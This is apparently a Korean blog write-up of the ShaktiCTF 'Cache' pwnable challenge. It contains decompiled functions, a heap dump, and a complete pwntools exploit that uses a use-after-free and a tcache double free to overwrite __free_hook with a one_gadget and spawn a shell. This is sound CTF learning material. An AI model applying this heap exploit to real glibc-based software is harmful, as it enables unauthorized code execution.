ShaktiCTF - Cache 7

728x90

보호기법

 

main함수

int main(void)

{
  long in_FS_OFFSET;
  int choice;
  undefined8 canary;
  
  canary = *(undefined8 *)(in_FS_OFFSET + 0x28);
  initialize();
  while( true ) {
    while( true ) {
      while( true ) {
        while( true ) {
          printmenu();
          puts("choice :");
          __isoc99_scanf(&DAT_00400aa4,&choice);
          if (choice != 1) break;
          add();
        }
        if (choice != 2) break;
        view();
      }
      if (choice != 3) break;
      delete();
    }
    if (choice == 4) break;
    puts("Invalid choice");
  }
                    /* WARNING: Subroutine does not return */
  exit(0);
}

 

add함수

void add(void)

{
  long in_FS_OFFSET;
  int size;
  long canary;
  
  canary = *(long *)(in_FS_OFFSET + 0x28);
  puts("enter the size");
  __isoc99_scanf("%d",&size);
  if (size < 0x100) {
    ptr = (char *)malloc((long)size);
    puts("Enter data");
    read(0,ptr,(long)size);
  }
  if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

size는 0xff까지 가능(Dec 255), 데이터도 마찬가지

아마 다음 chunk의 데이터를덮어씌울 수 있는거 같다.

 

view 함수

void view(void)

{
  puts("Printing the data inside");
  puts(ptr);
  return;
}

 

delete 함수

void delete(void)

{
  puts("Deleting...");
  free(ptr);
  return;
}

free 이후 초기화를 해주지 않는다. 따라서 UAF가 발생

또한 가장 마지막으로 할당된 청크부터 해제함

 

-------------------------------------------------------

 

크기를 각각 128, 64로 주고 데이터 입력(A*8+B*8 , C*8+D*8)

gef➤  x/40gx 0x602260
0x602260:	0x4141414141414141	0x4242424242424242
0x602270:	0x000000000000000a	0x0000000000000000
0x602280:	0x0000000000000000	0x0000000000000000
0x602290:	0x0000000000000000	0x0000000000000000
0x6022a0:	0x0000000000000000	0x0000000000000000
0x6022b0:	0x0000000000000000	0x0000000000000000
0x6022c0:	0x0000000000000000	0x0000000000000000
0x6022d0:	0x0000000000000000	0x0000000000000000
0x6022e0:	0x0000000000000000	0x0000000000000051
0x6022f0:	0x4343434343434343	0x4444444444444444
0x602300:	0x000000000000000a	0x0000000000000000
0x602310:	0x0000000000000000	0x0000000000000000
0x602320:	0x0000000000000000	0x0000000000000000
0x602330:	0x0000000000000000	0x0000000000020cd1
0x602340:	0x0000000000000000	0x0000000000000000
0x602350:	0x0000000000000000	0x0000000000000000
0x602360:	0x0000000000000000	0x0000000000000000
0x602370:	0x0000000000000000	0x0000000000000000
0x602380:	0x0000000000000000	0x0000000000000000
0x602390:	0x0000000000000000	0x0000000000000000

데이터가 유출

 

dfg 가능

 

unsorted bin 릭해주고 주소 구해준 다음 dfg로 fd에 hook을 쓰고 one가젯으로 덮으면 끝

from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

p = process('./chall')
e = ELF('./chall')
libc = ELF('./libc-2.27.so')

#gdb.attach(p)
one_gadget = [0x4f365, 0x4f3c2, 0x10a45c]
def add(size, data):
    p.sendlineafter('choice :\n', '1')
    p.sendlineafter('size\n', str(size))
    p.sendafter('data\n', data)

def view():
    p.sendlineafter('choice :\n', '2')
    p.recvuntil('inside\n')

def delete():
    p.sendlineafter('choice :\n', '3')

add(0x20, 'A'*8)
add(0xf7, 'B'*0x10)
delete()
add(0x20, 'C'*8)
add(0xf7, 'D'*0x10)
for _ in range(7):
    delete()
delete()
view()
libc_leak = u64(p.recvuntil('\n')[:-1].ljust(8, "\x00"))
libc_base = libc_leak - 0x3ebc40 - 96
free_hook = libc_base + libc.symbols['__free_hook']
oneshot = libc_base + one_gadget[1]
log.info('libc_leak: ' + hex(libc_leak))
log.info('libc_base: ' + hex(libc_base))
log.info('__free_hook: ' + hex(free_hook))
log.info('one_shot: ' + hex(oneshot))

add(0x30, 'C')
delete()
delete()

add(0x30, p64(free_hook))
add(0x30, 'K')
add(0x30, p64(oneshot))
delete()
p.interactive()

728x90

'Pwnable' 카테고리의 다른 글

M1/M2 환경에서 Pwnable 환경 구성하기  (3) 2023.10.11
SSF 2018 FSB  (0) 2021.12.30
Ropasaurusrex  (0) 2021.12.30
SSF 2018 FSB  (0) 2021.10.17
ROPASAURUSREX  (0) 2021.10.17